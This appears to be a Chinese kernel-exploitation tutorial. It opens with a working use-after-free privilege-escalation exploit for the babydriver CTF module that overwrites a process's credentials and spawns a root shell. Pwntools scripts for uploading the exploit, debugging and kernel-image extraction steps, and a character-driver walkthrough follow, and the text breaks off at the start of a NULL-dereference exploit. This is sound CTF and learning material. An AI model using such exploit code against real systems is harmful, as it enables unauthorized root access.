#include <stropts.h>
#include <sys/wait.h>
int main() {
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if (pid < 0) {
puts("[*] fork error!");
exit(0);
} else if (pid == 0) {
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if (getuid() == 0) {
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}
如果 gcc
编译的 exp
过大可以考虑使用 musl-gcc
进行编译,不过例如 userfault_fd
的相关功能 musl
没有,并不能完全替代 gcc 。
musl-gcc
的具体安装方式可以参考这篇文章的环境搭建里面的编译脚本,编译完成之后 musl-gcc
就在安装目录下的 bin
目录下,添加环境变量即可使用。
另外题目附件中没有 flag 文件,可以手动在 rootfs
目录下创建一个 flag
文件用于测试。
运行 pack.sh
和 boot.sh
可以看到 exp
已经打包到文件系统中,运行 exp
成功提权。
文件远程传输方式
目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输
from pwn import *
import base64
#context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()
from pwn import *
import time, os
#context.log_level = "debug"
p = process('./boot.sh')#remote("127.0.0.1", 5555)
os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")
f = open("./b64_exp", "r")
p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")
count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()
获取 vmlinux
由于 bzImage 是压缩过的内核镜像,因此需要获取未经压缩的 vmlinux
镜像用于提供调试符号,以及查找 gadget 和关键结构偏移。
下面提供几个获取 vmlinux 的方法。
编译内核
编译内核的好处是可以配置编译文件,并且可以编译出带调试符号的文件,gdb 调试的时候可以查看源码。
为了方便调试,需要从这个网站下载与题目所给内核版本相同的内核源码并编译出带调试符号的内核文件。
首先查看题目所给内核版本
下载对应版本内核并解压
查看题目所给内核编译时使用的 gcc 版本
由于编译该内核的所需的 gcc-5 已经无法在 ubuntu 18.04 及以上版本系统中下载安装,因此编译该内核需要再 ubuntu 16.04 中进行。 下面的图中的操作之所以是在高版本 ubuntu 中进行是因为当时是可以的。
输入命令,查看 gcc-5 可选的版本
apt-cache policy gcc-5
找到了与编译题目内核的 gcc 比较接近的版本(这里我已经安装过了)
安装
sudo apt-get install gcc-5=5.4.0-6ubuntu1~16.04.12
更新到 update-alternatives 上(参考编译 ollvm 时 gcc 版本的设置)
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5
切换到 gcc-5
之后编辑配置文件,在 linux-4.4.72 目录下输入
make menuconfig
保证勾选如下配置(默认都是勾选了的):
- Kernel hacking —> Kernel debugging
- Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
- Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
- kernel hacking —> Compile the kernel with frame pointers
一般来说不需要有什么改动,直接保存退出即可。
设置保存在 .config
文件中。
为了防止后面编译报下面这个错
make[1]: *** No rule to make target 'debian/canonical-certs.pem', needed by 'certs/x509_certificate_list'. Stop.
make: *** [Makefile:1868: certs] Error 2
需要编辑 .config
文件,直接把下面这个字符串删掉。
之后编译可能还会缺少一些依赖,为了尽可能一次成功,先把下面这些装一下。
sudo apt install flex
sudo apt install bison
sudo apt install libelf-dev
sudo apt install libssl-dev
sudo apt install dwarves
之后运行下面这条命令进行编译
make bzImage -j4
最后生成的 vmlinux 。
vmlinux-to-elf
此工具允许从 vmlinux/vmlinuz/bzImage/zImage 内核映像获取完全可分析的 .ELF 文件,其中包含恢复的函数和变量符号。
安装:
sudo apt install python3-pip
sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df
sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf
使用方法:
vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
与后面两个方法相比,这个方法获取的 vmlinux 带调试符号,不过结构体相关的调试符号只有编译内核可以获得。
下载镜像
有的内核题可以直接下载下载现有镜像
使用如下命令列出可下载内核镜像
sudo apt search linux-image-
找到对应版本
sudo apt download linux-image-unsigned-5.8.0-59-generic
下载下来是一个deb
文件,解压有
dpkg -X ./linux-image-unsigned-5.8.0-59-generic_5.8.0-59.66~20.04.1_amd64.deb extract
文件如下
$ tree
.
├── boot
│ └── vmlinuz-5.8.0-59-generic
└── usr
├── lib
│ └── linux
│ └── triggers
└── share
└── doc
└── linux-image-unsigned-5.8.0-59-generic
├── changelog.Debian.gz
└── copyright
8 directories, 3 files
其中 vmlinuz-5.8.0-59-generic
是压缩版的镜像,需要解压出 vmlinux 。
首先获取 1f 8b 08 00
的偏移:
od -t x1 -A d vmlinuz-5.8.0-59-generic | grep "1f 8b 08 00"
解压,其中 skip 的值为 1f 8b 08 00
的偏移。
dd if=vmlinuz-5.8.0-59-generic bs=1 skip=16808|zcat>vmlinux
bzImage 解压
使用 extract-vmlinux 脚本从 bzImage 获取 vmlinux 。
脚本不长,直接在下面贴一下。
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
运行如下命令就可以解压出 vmlinux 了。
./extract-vmlinux ./bzImage > vmlinux
gdb 调试
首先需要对 boot.sh
做如下修改:
- 添加
nokaslr
关闭地址随机化。 - 添加
-s
,因为 qemu 其实提供了调试内核的接口,我们可以在启动参数中添加 -gdb dev 来启动调试服务。最常见的操作为在一个端口监听一个 tcp 连接。 QEMU 同时提供了一个简写的方式 -s,表示 -gdb tcp::1234,即在 1234 端口开启一个 gdbserver。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 nokaslr' \
-enable-kvm \
-monitor /dev/null -m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
为了加载 babydriver.ko
的符号信息,需要获取其代码段的地址。因此需要修改 init
内容获取 root 权限。
重新打包并启动系统,查询代码段地址。
另外 lsmod
也可以查询模块加载基址。
创建 gdb.sh
调试脚本,
#!/bin/sh
gdb -q \
-ex "file $(find . -name vmlinux)" \
-ex "add-symbol-file $(find . -name babydriver.ko) 0xffffffffc0000000" \
-ex "target remote localhost:1234" \
-ex "b babyopen" \
-ex "c"
运行 boot.sh
启动 linux ,运行 gdb.sh
附加到 linux,之后运行 exp,成功在断点处断下来。
编译 busybox
这个不是做内核题所需的步骤,只是介绍一下内核 pwn 中的文件系统是怎么来的。因为题目提供的文件系统有相关的配置文件,因此以题目提供的文件系统为准。
kernel 题一般采用的是轻量化的 busybox 文件系统。
在官网下载 busybox 源码并解压。
之后安装依赖:
sudo apt-get install libncurses5-dev libncursesw5-dev
在 busybox 目录下输入如下命令进入图形界面配置编译选项。
make menuconfig
进入 Settings
选择静态编译。如果不勾选的话,需要自行配置libc库,这样步骤会很繁琐。
设置安装目录
这里我们选择的是 ./rootfs
最后保存并退出。
编译文件
make -j4
make install
可以看到生成了 rootfs
文件夹,这就是编译好的文件系统。
Linux 内核模块
什么是 LKMs
LKMs 称为可加载核心模块(内核模块),其可看作是运行在内核空间的可执行程序,类似于 Linux 下的 ELF,包括:
- 驱动程序
- 设备驱动
- 文件系统驱动
- …
- 内核拓展模块
LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF ,Windows 下为 exe/dll ,mac 下为 MACH-O ,因此我们可以使用 IDA 等工具来分析内核模块。
模块可以被单独编译,但不能单独运行,它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户空间的进程不同。
模块通常用来实现一种文件系统,一个驱动程序或者其它内核上层的功能。
Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic
kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。
通常情况下 Kernel 漏洞的发生也常见于加载的 LKMs 出现问题。
相关指令
insmod
:将制定模块加载到内核中rmmod
:从内核中卸载制定模块lsmod
:列出已经加载的模块modprobe
:添加或删除模块,modprobe
在加载模块时会查找依赖关系
文件系统
在Linux系统的视角下,无论是文件、设备、管道、还是目录,进程,甚至是磁盘,套接字等等,一切都可以被抽象成文件,一切都可以使用访问文件的方式进行操作。
图中所示为Linux中虚拟文件系统(VFS)、磁盘/Flash文件系统及一般的设备文件与设备驱动程序之间的关系。
应用程序和 VFS
之间的接口是系统调用,而 VFS
与文件系统以及设备文件之间的接口是 file_operations
结构体成员函数,这个结构体包含对文件进行打开、关闭、读写、控制的一系列成员函数。
file 结构体
file
结构体代表一个打开的文件,系统中每个打开的文件在内核空间都有一个关联的 struct file
。它由内核在打开文件时创建,并传递给在文件上进行操作的任何函数。在文件的所有实例都关闭后,内核释放这个数据结构。在内核和驱动源代码中,struct file
的指针通常被命名为 file
或 filp
。
linux-5.17/include/linux/fs.h: file
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;
u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct hlist_head *f_ep;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
inode结构体
VFS inode包含文件访问权限、所有者、组、大小、生成时间、访问时间、最后修改时间等信息。它是Linux管理文件系统的最基本单位,也是文件系统连接任何子目录、文件的桥梁。
include/linux/fs.h: inode
struct inode {
umode_t i_mode; // inode的权限
unsigned short i_opflags;
kuid_t i_uid; // inode所有者的id
kgid_t i_gid; // inode所属的群组id
unsigned int i_flags;
...
dev_t i_rdev; // 若是设备文件,此字段将记录设备的设备号
loff_t i_size; // inode所代表的文件大小
struct timespec i_atime; // inode最近一次的存取时间
struct timespec i_mtime; // inode最近一次的修改时间
struct timespec i_ctime; // inode的产生时间
spinlock_t i_lock; /* i_blocks, i_bytes, maybe i_size */
unsigned short i_bytes;
unsigned int i_blkbits;
blkcnt_t i_blocks; // inode所使用的block数,一个block为512字节
...
union {
struct pipe_inode_info *i_pipe;
struct block_device *i_bdev; // 若是块设备,为其对应的block_device结构体指针
struct cdev *i_cdev; // 若是字符设备,为其对应的cdev结构体指针
};
...
查看 /proc/devices
文件可以获知系统中注册的设备,第一列为主设备号,第二列为设备名:
$ cat /proc/devices
Character devices:
1 mem
4 /dev/vc/0
4 tty
4 ttyS
5 /dev/tty
5 /dev/console
5 /dev/ptmx
...
Block devices:
259 blkext
7 loop
8 sd
9 md
11 sr
65 sd
...
查看 /dev
目录可以获知系统中包含的设备文件,日期前的两列对应设备的主设备号和次设备号:
$ ls -al /dev
total 0
drwxr-xr-x 8 root root 2940 May 8 14:17 .
drwxr-xr-x 11 root root 0 May 8 14:18 ..
drwxr-xr-x 2 root root 60 May 8 14:17 bsg
crw-rw---- 1 root root 5, 1 May 8 14:17 console
主设备号是与驱动对应的概念,同一类设备一般用相同的主设备号,不同类设备的主设备号一般不同。
内核模块开发
Hello World模块
编写一个输出内容的内核模块。
首先在内核源码目录下创建一个用于编译内核模块的文件夹,这里我创建的文件夹的名称是 myko
。
在该目录下创建 myko.c
,内容如下:
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");
static int hello_init(void) {
printk("Hello, world!\n");
return 0;
}
static void hello_exit(void) {
printk("Goodbye, cruel world!\n");
}
module_init(hello_init);
module_exit(hello_exit);
-
linux/module.h
是Linux
内核模块变成必须包含的头文件 -
头文件
kernel.h
包含了常用的内核函数 -
头文件
init.h
包含了宏_init
和_exit
,它们允许释放内核占用的内存。 -
hello_init
函数是模块初始化函数,他会在内核模块被加载的时候执行,使用__init
进行修饰,一般用它来初始化数据结构等内容; -
hello_exit
函数是模块的退出函数,他会在模块在退出的时候执行。 -
函数
module_init()
和clearnup_exit()
是模块编程中最基本也是必须得两个函数,它用来指定模块加载和退出时调用的函数,这里加载的是我们上面定义好的两个函数,module_init()
向内核注册模块提供新功能,而cleanup_exit()
注销由模块提供的所用功能。 -
这段代码中使用了
printk
函数,这是内核打印函数,可以使用dmesg
指令来看到内核打印信息。
创建 Makefile
,内容如下:
obj-m := myko.o
KERNELDR := ~/Desktop/linux-5.17/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
编译
生成 myko.ko
驱动
参考环境搭建,将其打包到文件系统中,然后启动系统。
可以看到,模块运行正常。
带参数的模块
myko.c
内容修改为:
#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>
MODULE_LICENSE("Dual BSD/GPL");
static char *whom = "world";
static int howmany = 1;
module_param(howmany, int, S_IRUGO);
module_param(whom, charp, S_IRUGO);
static int hello_init(void) {
int i;
for (i = 0; i < howmany; i++)
printk("(%d) Hello, %s\n", i, whom);
return 0;
}
static void hello_exit(void) {
printk("Goodbye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
参数必须使用module_param
宏来声明,这个宏在moduleparam.h
中定义。module_param
需要三个参数:变量的名称、类型以及用于sysfs
入口项的访问许可掩码,这个宏必须放在任何函数之外,通常在源文件头部。
字符设备驱动
字符设备驱动结构
cdev 结构体
cdev
为 linux 描述字符设备的一个结构。
include/linux/cdev.h
struct cdev {
struct kobject kobj; // 内嵌的kobject对象
struct module *owner; // 所属模块
struct file_operations *ops; // 文件操作结构体
struct list_head list;
dev_t dev; // 设备号
unsigned int count;
}
dev_t
定义了设备号,为 32 位,其中 12 位为主设备号,20 位为次设备号。下面的宏可以获得主设备号和次设备号:
MAJOR(dev_t dev)
MINOR(dev_t dev)
使用下面的宏可以用主设备号和次设备号生成 dev_t :
MKDEV(int major, int minor)
Linux 内核提供了一组函数用于操作 cdev
结构体:
void cdev_init(struct cdev *, struct file_operations *); // 用于初始化cdev的成员,并建立cdev和file_operations之间的连接
struct cdev *cdev_alloc(void); // 用于动态申请一个cdev内存
void cdev_put(struct cdev *p);
// 用向系统添加和删除一个cdev,完成字符设备的注册和注销
int cdev_add(struct cdev *, dev_t, unsigned); // 通常在字符设备驱动模块加载函数中调用
void cdev_del(struct cdev *); // 字符设备驱动模块卸载函数中调用
在调用 cdev_add()
函数向系统注册字符设备之前,应首先调用 register_chrdev_region()
或 alloc_chrdev_region()
函数向系统申请设备号:
int register_chrdev_region(dev_t from, unsigned count, const char *name);
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, const char *name);
register_chrdev_region()
函数用于已知起始设备的设备号的情况,而 alloc_chrdev_region()
用于设备号未知,向系统动态申请未被占用的设备号的情况。
file_operations 结构体
file_operations
结构体中的成员函数是字符设备驱动程序设计的主体内容,这些函数实际会在应用程序进行 Linux 的 open()
、write()
、read()
、close()
等系统调用时最终被内核调用。
include/linux/fs.h: file_operations
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
下面对 file_operations
结构体中的主要成员简要介绍:
llseek()
函数用来修改一个文件的当前读写位置,并将新位置返回,在出错时,这个函数返回一个负值。
read()
函数用来从设备中读取数据,成功时函数返回读取的字节数,出错时返回一个负值。
write()
函数向设备发送数据,成功时该函数返回写入的字节数。如果次函数未被实现,当用户进行 write()
系统调用时,将得到 -EINVAL
返回值。
unlocked_ioctl()
提供设备相关控制命令的实现,当调用成功时,返回给调用程序一个非负值。
字符设备驱动组成
这里以一个简单的内存读写驱动为例。
头文件、宏及设备结构体
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("Dual BSD/GPL");
#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;
module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);
struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;
加载与卸载设备驱动
static int __init hello_init(void) {
int ret;
dev_t devno = MKDEV(hello_major, hello_minor);
if (hello_major)
ret = register_chrdev_region(devno, 1, "myko");
else {
ret = alloc_chrdev_region(&devno, 0, 1, "myko");
hello_major = MAJOR(devno);
}
if (ret < 0) return ret;
hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
if (!hello_devp) {
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
cdev_init(&hello_devp->cdev, &hello_fops);
hello_devp->cdev.owner = THIS_MODULE;
int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
return 0;
}
module_init(hello_init);
static void __exit hello_exit(void) {
cdev_del(&hello_devp->cdev);
kfree(hello_devp);
unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);
cdev_init
初始化 cdev
结构体,其中与驱动的 cdev
关联的 file_operations
结构体如下:
static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};
使用文件私有数据
大多数Linux驱动遵循一个”潜规则”,那就是将文件的私有数据 private_data
指向设备结构体,再用 read()
、write()
、ioctl()
、llseek()
等函数通过 private_data
访问设备结构体。
static int hello_open(struct inode *id, struct file *filp) {
filp->private_data = hello_devp;
return 0;
}
static int hello_releace(struct inode *id, struct file *filp) {
filp->private_data = NULL;
return 0;
}
读写函数
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_to_user(buf, dev->mem + *pos, count))
return -EFAULT;
*pos += count;
printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
return count;
}
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_from_user(dev->mem + *pos, buf, count))
return -EFAULT;
*pos += count;
printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
return count;
}
由于用户空间不能直接访问内核空间的内存,因此借助了函数 copy_from_user()
完成用户空间缓冲区到内核空间的复制,copy_to_user()
完成内核空间到用户空间缓冲区的复制。它们的原型如下:
unsigned long copy_from_user(void *to, const void __user *from, unsigned long count);
unsigned long copy_to_user(void __user *to, const void *from, unsigned long count);
完全复制成功返回值为 0 ,如果复制失败,则返回负值。
读和写函数中的 __user
是一个宏,表明其后的指针指向用户空间,实际上更多地充当了代码自注释功能。
seek函数
seek()
函数对文件定位的起始地址可以是文件开头(SEEK_SET,0)、当前位置(SEEK_CUR,1)和文件尾(SEEK_END,2),这里只实现了支持从文件开头和当前位置的相对偏移。
static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
if (op != 0 && op != 1) return -EINVAL;
if (op == 1) offset += filp->f_pos;
if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
return filp->f_pos = offset;
}
ioctl函数
用来自定义的函数,这里自定义了清内存的函数。
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct hello_dev *dev = filp->private_data;
if (dev == NULL) {
printk("[-] No device\n");
return -EINVAL;
}
switch (cmd) {
case MEM_CLEAR:
memset(dev->mem, 0, sizeof(dev->mem));
printk("[+] Clear success\n");
break;
default:
printk("[-] Error command\n");
return -EINVAL;
}
return 0;
}
完整代码
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("Dual BSD/GPL");
#define MAX_SIZE 0x1000
#define MEM_CLEAR 0x1
static int hello_major = 230;
static int hello_minor = 0;
module_param(hello_major, int, S_IRUGO);
module_param(hello_minor, int, S_IRUGO);
struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;
static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);
static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};
static int __init hello_init(void) {
int ret;
dev_t devno = MKDEV(hello_major, hello_minor);
if (hello_major)
ret = register_chrdev_region(devno, 1, "myko");
else {
ret = alloc_chrdev_region(&devno, 0, 1, "myko");
hello_major = MAJOR(devno);
}
if (ret < 0) return ret;
hello_devp = kzalloc(sizeof(struct hello_dev), GFP_KERNEL);
if (!hello_devp) {
unregister_chrdev_region(devno, 1);
return -ENOMEM;
}
cdev_init(&hello_devp->cdev, &hello_fops);
hello_devp->cdev.owner = THIS_MODULE;
int err = (int) cdev_add(&hello_devp->cdev, devno, 1);
if (err) printk("[-] Error %d adding myko %d\n", err, hello_minor);
return 0;
}
module_init(hello_init);
static void __exit hello_exit(void) {
cdev_del(&hello_devp->cdev);
kfree(hello_devp);
unregister_chrdev_region(MKDEV(hello_major, hello_minor), 1);
}
module_exit(hello_exit);
static int hello_open(struct inode *id, struct file *filp) {
filp->private_data = hello_devp;
return 0;
}
static int hello_releace(struct inode *id, struct file *filp) {
filp->private_data = NULL;
return 0;
}
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct hello_dev *dev = filp->private_data;
if (dev == NULL) {
printk("[-] No device\n");
return -EINVAL;
}
switch (cmd) {
case MEM_CLEAR:
memset(dev->mem, 0, sizeof(dev->mem));
printk("[+] Clear success\n");
break;
default:
printk("[-] Error command\n");
return -EINVAL;
}
return 0;
}
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_to_user(buf, dev->mem + *pos, count))
return -EFAULT;
*pos += count;
printk("[+] Read %u bytes(s) from %llu\n", count, *pos);
return count;
}
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos) {
if (*pos >= MAX_SIZE) return 0;
unsigned int count = (unsigned int) size;
struct hello_dev *dev = filp->private_data;
if (count > MAX_SIZE - *pos) count = MAX_SIZE - *pos;
if (copy_from_user(dev->mem + *pos, buf, count))
return -EFAULT;
*pos += count;
printk("[+] Written %u bytes(s) from %llu\n", count, *pos);
return count;
}
static loff_t hello_llseek(struct file *filp, loff_t offset, int op) {
if (op != 0 && op != 1) return -EINVAL;
if (op == 1) offset += filp->f_pos;
if (offset < 0 || offset > MAX_SIZE) return -EINVAL;
return filp->f_pos = offset;
}
验证
/ # insmod myko.ko
[ 17.837662] myko: loading out-of-tree module taints kernel.
[ 17.840020] myko: module verification failed: signature and/or required key l
/ # [ 17.887877] random: fast init done
/ # lsmod
myko 16384 0 - Live 0xffffffffc002e000 (OE)
/ # mknod /dev/myko c 230 0 #创建设备节点,c表明是字符设备,230是主设备号,0是次设备号
/ # chmod 777 /dev/myko
/ # echo "hello,world!" > /dev/myko
[ 103.447740] [+] Written 13 bytes(s) from 13
/ # cat dev/myko
[ 111.699740] [+] Read 4096 bytes(s) from 4096
hello,world!
内核利用
NULL Pointer Dereference
上古利用方法,仅做记录。
如果内核模块中存在可以被调用的空函数指针,那么调用该空指针函数会执行 0 地址对应的代码。如果此时在内存 0 地址处实现写入 payload 就会执行payload。
首先内核驱动代码如下,其中 my_funptr 是一个空函数指针,且在调用 write 函数时会执行到。
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
MODULE_LICENSE("Dual BSD/GPL");
void (*my_funptr)(void);
ssize_t bug1_write(struct file *file, const char *buf, size_t len, loff_t *loff) {
printk("[+] bug1_write\n");
my_funptr();
return 1;
}
static struct proc_ops proc_fops = {
.proc_write = bug1_write,
};
static int __init null_dereference_init(void) {
printk("[+] null_dereference driver init\n");
int proc = proc_create("bug1", 0666, 0, &proc_fops);
if (!proc) printk("[-] Failed to create proc\n");
return 0;
}
static void __exit null_dereference_exit(void) {
printk("[-] null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
exp 如下,首先在 0 地址处写入提权 payload,然后调用 write 函数执行 payload,最后返回到用户空间执行 system("/bin/sh")
获取 shell 。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
